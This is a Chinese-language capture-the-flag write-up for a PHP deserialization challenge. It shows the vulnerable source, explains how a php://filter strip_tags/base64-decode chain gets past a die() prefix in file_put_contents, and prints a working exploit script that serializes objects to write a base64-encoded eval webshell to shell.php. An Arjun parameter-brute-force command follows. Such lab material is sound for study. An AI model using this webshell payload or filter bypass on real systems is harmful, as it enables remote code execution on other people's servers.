知识点:Arjun爆参,file_put_contents伪协议过滤
审题
点开是个ubuntu版本的apache,没什么用,直接扫波目录。
扫到两个目录。
访问robots.txt
进入star1.php,提示我们要从家进入ser.php,且要是不安全的协议,那么就是http://127.0.0.1/ser.php
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?>
分析
可以看到有个可以写文件的地方
但是,内容中有一个die函数,我们可以用伪协议过滤,过滤掉<?php?>标签,使die(…)成为一个普通文本,可以用string.strip_tags
这个过滤器可以过滤html标签,php标签。
构造payload:
<?php
class GWHT{
public $hero;
}
class Yongen{ //flag.php
public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
public $text="PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";
}
$b=new GWHT();
$b->hero=new Yongen();//覆盖
echo serialize($b);
?>
虽然在创建对象的时候它自动给hero赋值,但后面我们给他覆盖掉了
绕过die的原理
把内容先用string.strip_tags
过滤掉php标签,然后再base64解码
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
如何找传参的地方?
那么既然有了反序列化payload,那么往哪传呢?参数名叫什么?我们可以用Arjun来爆参
写入文件
然后进入所在文件,写shell,拿flag
__toString原理
既然可以shell,那我们就看一下这边的__toString
是怎么触发的
是因为我们传上去的时候它会反序列化并把值当作字符串echo输出,这样就触发了__toSting
Arjun的安装和使用
git clone https://github.com/s0md3v/Arjun.git
克隆完直接pip3 install arjun
详细使用:https://github.com/s0md3v/Arjun/wiki/Usage#import-multiple-targets
当然这边直接arjun -u http://b4227c37-f564-4931-8966-88f1b1b12f3a.node4.buuoj.cn:81/star1.php?path=http://127.0.0.1/ser.php -m GET